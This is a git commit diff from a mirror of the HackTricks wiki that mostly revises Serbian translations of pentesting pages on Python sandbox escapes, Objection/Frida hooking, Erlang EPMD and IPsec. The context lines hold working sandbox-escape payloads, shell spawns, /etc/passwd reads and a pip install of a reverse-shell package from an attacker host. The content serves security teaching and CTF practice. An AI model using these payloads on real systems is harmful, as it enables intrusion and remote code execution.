mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/python/bypass-pytho
This commit is contained in:
parent
f33c299c88
commit
bf507b341c
@ -1,4 +1,5 @@
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import re
|
||||
import logging
|
||||
@ -68,6 +69,33 @@ def ref(matchobj):
|
||||
|
||||
return result
|
||||
|
||||
def files(matchobj):
|
||||
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
|
||||
href = matchobj.groups(0)[0].strip()
|
||||
title = ""
|
||||
|
||||
try:
|
||||
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
|
||||
if href in files:
|
||||
title = href
|
||||
logger.debug(f'File search result: {os.path.join(root, href)}')
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(e)
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
if title=="":
|
||||
logger.debug(f'Error searching file: {href}')
|
||||
print(f'Error searching file: {href}')
|
||||
sys.exit(1)
|
||||
|
||||
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
|
||||
|
||||
result = template
|
||||
|
||||
return result
|
||||
|
||||
def add_read_time(content):
|
||||
regex = r'(<\/style>\n# .*(?=\n))'
|
||||
@ -105,6 +133,8 @@ if __name__ == '__main__':
|
||||
current_chapter = chapter
|
||||
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
new_content = re.sub(regex, ref, chapter['content'])
|
||||
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
|
||||
new_content = re.sub(regex, files, chapter['content'])
|
||||
new_content = add_read_time(new_content)
|
||||
chapter['content'] = new_content
|
||||
|
||||
|
@ -41,8 +41,7 @@ system('ls')
|
||||
```
|
||||
Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitati fajlove** unutar python sandboksa i za **pisanje nekog koda** koji možete **izvršiti** da **obiđete** sandbox.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Python2 input()** funkcija omogućava izvršavanje python koda pre nego što program sruši.
|
||||
> [!CAUTION] > **Python2 input()** funkcija omogućava izvršavanje python koda pre nego što program sruši.
|
||||
|
||||
Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će odštampati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
@ -54,7 +53,7 @@ Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (slede
|
||||
|
||||
Možete pronaći **listu unapred instaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Imajte na umu da iz picklea možete učiniti da python okruženje **uvozi proizvoljne biblioteke** instalirane u sistemu.\
|
||||
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi:
|
||||
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da bi je koristio:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
@ -78,9 +77,11 @@ Ako imate pristup `pip` ili `pip.main()`, možete instalirati proizvoljan paket
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Možete preuzeti paket za kreiranje reverzne ljuske ovde. Imajte na umu da pre nego što ga koristite treba da **dekompresujete, promenite `setup.py` i stavite svoju IP adresu za reverznu ljusku**:
|
||||
Možete preuzeti paket za kreiranje reverzne ljuske ovde. Imajte na umu da pre korišćenja treba **dekompresovati, promeniti `setup.py` i uneti svoju IP adresu za reverznu ljusku**:
|
||||
|
||||
{% file src="../../../images/Reverse.tar (1).gz" %}
|
||||
{{#file}}
|
||||
Reverse.tar (1).gz
|
||||
{{#endfile}}
|
||||
|
||||
> [!NOTE]
|
||||
> Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada napustite reverznu ljusku, ostatak instalacije neće uspeti, tako da **nećete ostaviti nijedan dodatni python paket instaliran na serveru** kada odete.
|
||||
@ -88,9 +89,9 @@ Možete preuzeti paket za kreiranje reverzne ljuske ovde. Imajte na umu da pre n
|
||||
## Eval-ovanje python koda
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da exec omogućava višelinijske stringove i ";", ali eval ne (proverite walrus operator)
|
||||
> Imajte na umu da exec omogućava višelinijske stringove i ";", ali eval ne (proverite operator morž).
|
||||
|
||||
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **obiđete** ograničenje:
|
||||
Ako su određeni karakteri zabranjeni, možete koristiti **hex/octal/B64** reprezentaciju da **zaobiđete** ograničenje:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
@ -125,7 +126,7 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
||||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
## Operatori i kratke trikove
|
||||
## Operateri i kratke trikove
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
@ -134,7 +135,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
||||
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
|
||||
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
|
||||
```
|
||||
## Obilaženje zaštita kroz kodiranja (UTF-7)
|
||||
## Bypassovanje zaštita kroz kodiranja (UTF-7)
|
||||
|
||||
U [**ovoj analizi**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) UFT-7 se koristi za učitavanje i izvršavanje proizvoljnog python koda unutar naizgled sandboks okruženja:
|
||||
```python
|
||||
@ -177,11 +178,11 @@ class _:pass
|
||||
```
|
||||
### RCE kreiranje objekata i preopterećenje
|
||||
|
||||
Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste **pisati/prepisivati različite metode** koje se mogu **pokrenuti** **bez** **potrebe da ih direktno pozivate**.
|
||||
Ako možete **deklarisati klasu** i **napraviti objekat** te klase, mogli biste **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da ih direktno pozivate**.
|
||||
|
||||
#### RCE sa prilagođenim klasama
|
||||
|
||||
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da ih naterate da **izvršavaju proizvoljan kod** kada se **pokrenu** bez direktnog pozivanja.
|
||||
Možete modifikovati neke **metode klase** (_prepisivanjem postojećih metoda klase ili kreiranjem nove klase_) da ih **izvršavaju proizvoljan kod** kada su **pokrenute** bez direktnog pozivanja.
|
||||
```python
|
||||
# This class has 3 different ways to trigger RCE without directly calling any function
|
||||
class RCE:
|
||||
@ -292,7 +293,7 @@ __iadd__ = eval
|
||||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Čitajte datoteku uz pomoć builtins i licence
|
||||
### Pročitajte datoteku sa pomoćnim funkcijama i licencom
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
@ -306,7 +307,7 @@ pass
|
||||
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
|
||||
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Ako možete pristupiti **`__builtins__`** objektu, možete uvesti biblioteke (primetite da možete koristiti i druge string reprezentacije prikazane u poslednjem odeljku):
|
||||
Ako možete pristupiti **`__builtins__`** objektu, možete uvesti biblioteke (primetite da ovde možete koristiti i drugu string reprezentaciju prikazanu u poslednjem odeljku):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
@ -314,7 +315,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
||||
### No Builtins
|
||||
|
||||
Kada nemate `__builtins__`, nećete moći da uvezete ništa niti čak da čitate ili pišete fajlove jer **sve globalne funkcije** (kao što su `open`, `import`, `print`...) **nisu učitane**.\
|
||||
Međutim, **po defaultu, python uvozi mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe koje se mogu iskoristiti za dobijanje čak i **arbitrarne izvršne koda**.
|
||||
Međutim, **po defaultu, python učitava mnogo modula u memoriju**. Ovi moduli mogu delovati benigno, ali neki od njih **takođe uvoze opasne** funkcionalnosti unutar sebe koje se mogu iskoristiti za dobijanje čak i **arbitrarne izvršne koda**.
|
||||
|
||||
U sledećim primerima možete posmatrati kako da **zloupotrebite** neke od ovih "**benignih**" modula učitanih da **pristupite** **opasnim** **funkcionalnostima** unutar njih.
|
||||
|
||||
@ -366,7 +367,7 @@ get_flag.__globals__['__builtins__']
|
||||
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
|
||||
__builtins__["__import__"]('os').system('ls')
|
||||
```
|
||||
### Ugrađeni payloads
|
||||
### Ugrađeni payloadi
|
||||
```python
|
||||
# Possible payloads once you have found the builtins
|
||||
__builtins__["open"]("/etc/passwd").read()
|
||||
@ -537,7 +538,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||
## Rekurzivno pretraživanje Builtins, Globals...
|
||||
|
||||
> [!WARNING]
|
||||
> Ovo je jednostavno **neverovatno**. Ako **tražite objekat kao što su globals, builtins, open ili bilo šta** samo koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.**
|
||||
> Ovo je jednostavno **neverovatno**. Ako **tražite objekat kao što su globals, builtins, open ili bilo šta** jednostavno koristite ovaj skript da **rekurzivno pronađete mesta gde možete pronaći taj objekat.**
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
||||
@ -690,7 +691,7 @@ Neke druge zanimljive karakteristike format stringova su mogućnost **izvršavan
|
||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Pored toga, moguće je **kodirati nove formatere** u klasama:
|
||||
Pored toga, moguće je **kodirati nove formatore** u klasama:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
@ -704,7 +705,7 @@ return 'HAL 9000'
|
||||
**Više primera** o **format** **string** primerima može se naći na [**https://pyformat.info/**](https://pyformat.info)
|
||||
|
||||
> [!CAUTION]
|
||||
> Takođe proverite sledeću stranicu za gadgete koji će r**ešavati osetljive informacije iz Python internih objekata**:
|
||||
> Takođe proverite sledeću stranicu za gadgete koji će r**ešiti osetljive informacije iz Python internih objekata**:
|
||||
|
||||
{{#ref}}
|
||||
../python-internal-read-gadgets.md
|
||||
@ -732,16 +733,16 @@ From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-a
|
||||
|
||||
### From format to RCE loading libraries
|
||||
|
||||
Prema [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/), moguće je učitati proizvoljne biblioteke sa diska zloupotrebom ranjivosti format string u pythonu.
|
||||
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
|
||||
|
||||
Kao podsetnik, svaki put kada se izvrši neka radnja u pythonu, neka funkcija se izvršava. Na primer, `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**.
|
||||
As reminder, every time an action is performed in python some function is executed. For example `2*3` will execute **`(2).mul(3)`** or **`{'a':'b'}['a']`** will be **`{'a':'b'}.__getitem__('a')`**.
|
||||
|
||||
Imate više ovakvih u sekciji [**Python execution without calls**](#python-execution-without-calls).
|
||||
You have more like this in the section [**Python execution without calls**](#python-execution-without-calls).
|
||||
|
||||
Ranjivost python format string ne omogućava izvršavanje funkcije (ne dozvoljava korišćenje zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
Međutim, moguće je koristiti `[]`. Stoga, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće je zloupotrebiti ih da se dobije RCE.
|
||||
A python format string vuln doesn't allow to execute function (it's doesn't allow to use parenthesis), so it's not possible to get RCE like `'{0.system("/bin/sh")}'.format(os)`.\
|
||||
However, it's possible to use `[]`. Therefore, if a common python library has a **`__getitem__`** or **`__getattr__`** method that executes arbitrary code, it's possible to abuse them to get RCE.
|
||||
|
||||
Tražeći takav gadget u pythonu, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je pronašao ovu [jednu](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
Looking for a gadget like that in python, the writeup purposes this [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Where he found this [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
|
||||
```python
|
||||
class LibraryLoader(object):
|
||||
def __init__(self, dlltype):
|
||||
@ -763,7 +764,7 @@ return getattr(self, name)
|
||||
cdll = LibraryLoader(CDLL)
|
||||
pydll = LibraryLoader(PyDLL)
|
||||
```
|
||||
Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga, potrebno je na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajliranu na napadnuti server.
|
||||
Ovaj uređaj omogućava **učitavanje biblioteke sa diska**. Stoga je potrebno na neki način **napisati ili otpremiti biblioteku za učitavanje** ispravno kompajliranu na napadnuti server.
|
||||
```python
|
||||
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
|
||||
```
|
||||
@ -897,7 +898,7 @@ dis.dis(get_flag)
|
||||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Obratite pažnju da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje offset varijable koja se učitava.
|
||||
Obratite pažnju da **ako ne možete da uvezete `dis` u python sandboxu** možete dobiti **bajt kod** funkcije (`get_flag.func_code.co_code`) i **dezintegrisati** ga lokalno. Nećete videti sadržaj promenljivih koje se učitavaju (`LOAD_CONST`), ali ih možete pretpostaviti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje pomeraj promenljive koja se učitava.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
@ -921,8 +922,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||
```
|
||||
## Kompajliranje Pythona
|
||||
|
||||
Sada, zamislite da nekako možete **izvući informacije o funkciji koju ne možete izvršiti** ali vam **je potrebno** da je **izvršite**.\
|
||||
Kao u sledećem primeru, možete **pristupiti kod objektu** te funkcije, ali samo čitajući disasembler ne **znate kako da izračunate flag** (_zamislite složeniju `calc_flag` funkciju_)
|
||||
Sada, zamislite da nekako možete **izvući informacije o funkciji koju ne možete izvršiti** ali **trebate** da je **izvršite**.\
|
||||
Kao u sledećem primeru, možete **pristupiti kod objektu** te funkcije, ali samo čitajući disasembler ne **znate kako da izračunate zastavicu** (_zamislite složeniju `calc_flag` funkciju_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
@ -965,10 +966,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
||||
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||||
> ```
|
||||
|
||||
### Ponovno kreiranje provaljene funkcije
|
||||
### Rekreiranje provaljene funkcije
|
||||
|
||||
> [!WARNING]
|
||||
> U sledećem primeru, uzet ćemo sve podatke potrebne za ponovno kreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **treba da provalite**.
|
||||
> U sledećem primeru, uzet ćemo sve podatke potrebne za rekreiranje funkcije direktno iz objekta koda funkcije. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **ćete morati da provalite**.
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||||
@ -1021,7 +1022,7 @@ f(42)
|
||||
```
|
||||
## Decompiling Compiled Python
|
||||
|
||||
Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **dekompilirati** dati kompajlirani python kod.
|
||||
Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se **dekompilovati** dati kompajlirani python kod.
|
||||
|
||||
**Pogledajte ovaj tutorijal**:
|
||||
|
||||
@ -1034,7 +1035,7 @@ Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.de
|
||||
### Assert
|
||||
|
||||
Python koji se izvršava sa optimizacijama sa parametrom `-O` će ukloniti assert izjave i bilo koji kod uslovljen vrednošću **debug**.\
|
||||
Stoga, provere kao što su
|
||||
Stoga, provere kao
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
try:
|
||||
@ -1054,5 +1055,4 @@ biće zaobiđeno
|
||||
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
||||
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## **Uvod**
|
||||
|
||||
**objection - Runtime Mobile Exploration**
|
||||
|
||||
[**Objection**](https://github.com/sensepost/objection) je alat za istraživanje mobilnih aplikacija u realnom vremenu, pokretan [Frida](https://www.frida.re). Napravljen je s ciljem da pomogne u proceni mobilnih aplikacija i njihove sigurnosne pozicije bez potrebe za jailbreak-ovanim ili root-ovanim mobilnim uređajem.
|
||||
[**Objection**](https://github.com/sensepost/objection) je alat za istraživanje mobilnih aplikacija u realnom vremenu, pokretan od strane [Frida](https://www.frida.re). Napravljen je s ciljem da pomogne u proceni mobilnih aplikacija i njihove sigurnosne pozicije bez potrebe za jailbreak-ovanim ili root-ovanim mobilnim uređajem.
|
||||
|
||||
**Napomena:** Ovo nije neka vrsta jailbreak / root zaobilaženja. Korišćenjem `objection`, i dalje ste ograničeni svim ograničenjima koja nameće odgovarajući sandbox s kojim se suočavate.
|
||||
**Napomena:** Ovo nije neka vrsta bypass-a za jailbreak / root. Korišćenjem `objection`, i dalje ste ograničeni svim restrikcijama koje nameće odgovarajući sandbox s kojim se suočavate.
|
||||
|
||||
### Rezime
|
||||
|
||||
@ -20,7 +18,9 @@
|
||||
|
||||
Za ovaj tutorijal ću koristiti APK koji možete preuzeti ovde:
|
||||
|
||||
{% file src="../../../images/app-release.zip" %}
|
||||
{{#file}}
|
||||
app-release.zip
|
||||
{{#endfile}}
|
||||
|
||||
Ili iz njegovog [originalnog repozitorijuma](https://github.com/asvid/FridaApp)(preuzmite app-release.apk)
|
||||
|
||||
@ -28,9 +28,9 @@ Ili iz njegovog [originalnog repozitorijuma](https://github.com/asvid/FridaApp)(
|
||||
```bash
|
||||
pip3 install objection
|
||||
```
|
||||
### Konekcija
|
||||
### Veza
|
||||
|
||||
Napravite **redovnu ADB konekciju** i **pokrenite** **frida** server na uređaju (i proverite da li frida radi i na klijentu i na serveru).
|
||||
Napravite **redovnu ADB vezu** i **pokrenite** **frida** server na uređaju (i proverite da li frida radi i na klijentu i na serveru).
|
||||
|
||||
Ako koristite **rootovani uređaj**, potrebno je odabrati aplikaciju koju želite da testirate unutar _**--gadget**_ opcije. u ovom slučaju:
|
||||
```bash
|
||||
@ -77,7 +77,7 @@ android root simulate #Attempts to simulate a rooted Android environment.
|
||||
```bash
|
||||
android shell_exec whoami
|
||||
```
|
||||
#### Skenovi
|
||||
#### Screenshots
|
||||
```bash
|
||||
android ui screenshot /tmp/screenshot
|
||||
android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys
|
||||
@ -88,7 +88,7 @@ U pravoj aplikaciji trebali bismo znati sve informacije otkrivene u ovom delu pr
|
||||
|
||||
Ovo je takođe korisno ako nekako niste **u mogućnosti da dobijete neki čitljiv izvorni kod** aplikacije.
|
||||
|
||||
#### Lista aktivnosti, prijemnika i usluga
|
||||
#### Lista aktivnosti, prijemnika i servisa
|
||||
```bash
|
||||
android hooking list activities
|
||||
```
|
||||
@ -97,7 +97,7 @@ android hooking list activities
|
||||
android hooking list services
|
||||
android hooking list receivers
|
||||
```
|
||||
Frida će pokrenuti grešku ako nijedna nije pronađena
|
||||
Frida će pokrenuti grešku ako ništa nije pronađeno
|
||||
|
||||
#### Dobijanje trenutne aktivnosti
|
||||
```bash
|
||||
@ -113,7 +113,7 @@ android hooking search classes asvid.github.io.fridaapp
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### Pretraži metode klase
|
||||
#### Metode pretrage klase
|
||||
|
||||
Sada hajde da izdvojimo metode unutar klase _MainActivity:_
|
||||
```bash
|
||||
@ -139,7 +139,7 @@ Ovo je veoma korisno ako želite da **hook-ujete metodu klase i samo znate ime k
|
||||
|
||||
### Hookovanje je lako
|
||||
|
||||
#### Hookovanje (praćenje) metode
|
||||
#### Hookovanje (posmatranje) metode
|
||||
|
||||
Iz [izvornog koda](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) aplikacije znamo da se **funkcija** _**sum()**_ **iz** _**MainActivity**_ izvršava **svake sekunde**. Pokušajmo da **izvučemo sve moguće informacije** svaki put kada se funkcija pozove (argumenti, povratna vrednost i backtrace):
|
||||
```bash
|
||||
@ -147,7 +147,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### Hooking (posmatranje) cele klase
|
||||
#### Hooking (watching) an entire class
|
||||
|
||||
Zapravo, smatram da su sve metode klase MainActivity zaista zanimljive, hajde da **hook-ujemo sve**. Budite oprezni, ovo može **srušiti** aplikaciju.
|
||||
```bash
|
||||
@ -169,7 +169,7 @@ Sada, ako napišete bilo šta u tekstualno polje za PIN kod, videćete da je bil
|
||||
|
||||
### Instance klasa
|
||||
|
||||
Pretražite i štampajte **žive instance specifične Java klase**, navedene punim imenom klase. Rezultat je pokušaj dobijanja string vrednosti za otkrivenu objection koja bi obično **sadržala vrednosti svojstava za objekat**.
|
||||
Pretražite i štampajte **žive instance specifične Java klase**, navedene punim imenom klase. Rezultat je pokušaj dobijanja string vrednosti za otkrivenu objašnjenje koja bi obično **sadržala vrednosti svojstava za objekat**.
|
||||
```
|
||||
android heap print_instances <class>
|
||||
```
|
||||
@ -185,7 +185,7 @@ android intent launch_service
|
||||
```
|
||||
### Memorija
|
||||
|
||||
#### Iskopavanje
|
||||
#### Ispis
|
||||
```bash
|
||||
memory dump all <local destination> #Dump all memory
|
||||
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
|
||||
@ -204,9 +204,9 @@ Hajde da proverimo šta frida izvozi:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Pretraži/Upiši
|
||||
#### Pretraga/Pisanje
|
||||
|
||||
Takođe možete pretraživati i upisivati unutar memorije sa objection:
|
||||
Takođe možete pretraživati i pisati unutar memorije sa objection:
|
||||
```bash
|
||||
memory search "<pattern eg: 41 41 41 ?? 41>" (--string) (--offsets-only)
|
||||
memory write "<address>" "<pattern eg: 41 41 41 41>" (--string)
|
||||
@ -221,6 +221,8 @@ exit
|
||||
```
|
||||
## Šta mi nedostaje u Objection
|
||||
|
||||
- Metode za hooking ponekad ruše aplikaciju (to je takođe zbog Frida).
|
||||
- Metode hookovanja ponekad ruše aplikaciju (to je takođe zbog Frida).
|
||||
- Ne možete koristiti instance klasa za pozivanje funkcija instance. I ne možete kreirati nove instance klasa i koristiti ih za pozivanje funkcija.
|
||||
- Ne postoji prečica (kao što je ona za sslpinnin) za hooking svih uobičajenih kripto metoda koje koristi aplikacija da biste videli šifrovani tekst, običan tekst, ključeve, IV-ove i korišćene algoritme.
|
||||
- Ne postoji prečica (poput one za sslpinnin) za hookovanje svih uobičajenih kripto metoda koje koristi aplikacija da biste videli šifrovani tekst, običan tekst, ključeve, IV-ove i korišćene algoritme.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
|
||||
|
||||
## Remote Connection
|
||||
|
||||
Ako možete **procuriti autentifikacioni kolačić**, moći ćete da izvršite kod na hostu. Obično se ovaj kolačić nalazi u `~/.erlang.cookie` i generiše ga erlang pri prvom pokretanju. Ako nije izmenjen ili postavljen ručno, to je nasumični niz \[A:Z] dužine 20 karaktera.
|
||||
Ako možete **procuriti autentifikacioni kolačić** moći ćete da izvršite kod na hostu. Obično se ovaj kolačić nalazi u `~/.erlang.cookie` i generiše ga erlang pri prvom pokretanju. Ako nije izmenjen ili postavljen ručno, to je nasumični niz \[A:Z] dužine 20 karaktera.
|
||||
```bash
|
||||
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
|
||||
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
|
||||
@ -57,7 +57,9 @@ At last, we can start an erlang shell on the remote system.
|
||||
Više informacija na [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
|
||||
Autor takođe deli program za bruteforce kolačića:
|
||||
|
||||
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
|
||||
{{#file}}
|
||||
epmd_bf-0.1.tar.bz2
|
||||
{{#endfile}}
|
||||
|
||||
## Lokalna Konekcija
|
||||
|
||||
|
@ -6,15 +6,15 @@
|
||||
|
||||
**IPsec** je široko prepoznat kao glavna tehnologija za obezbeđivanje komunikacija između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog prolaza (udaljeni pristup), služeći kao osnovna infrastruktura za rešenja VPN za preduzeća.
|
||||
|
||||
Usmeravanje **bezbednosne asocijacije (SA)** između dve tačke upravlja **IKE**, koji funkcioniše pod okriljem ISAKMP, protokola dizajniranog za autentifikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:
|
||||
Usmeravanje **bezbednosne asocijacije (SA)** između dva mesta upravlja **IKE**, koji funkcioniše pod okriljem ISAKMP, protokola dizajniranog za autentifikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:
|
||||
|
||||
- **Faza 1:** Stvara se siguran kanal između dva krajnja uređaja. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili **agresivni režim**.
|
||||
- **Faza 1:** Stvara se siguran kanal između dva krajnja tačke. To se postiže korišćenjem Pre-Shared Key (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili **agresivni režim**.
|
||||
- **Faza 1.5:** Iako nije obavezna, ova faza, poznata kao Faza proširene autentifikacije, verifikuje identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
|
||||
- **Faza 2:** Ova faza je posvećena pregovorima o parametrima za obezbeđivanje podataka sa **ESP** i **AH**. Omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala **Perfect Forward Secrecy (PFS)**, poboljšavajući bezbednost.
|
||||
|
||||
**Podrazumevani port:** 500/udp
|
||||
|
||||
## **Otkrijte** uslugu koristeći nmap
|
||||
## **Otkrivanje** usluge koristeći nmap
|
||||
```
|
||||
root@bt:~# nmap -sU -p 500 172.16.21.200
|
||||
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
|
||||
@ -26,7 +26,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
|
||||
```
|
||||
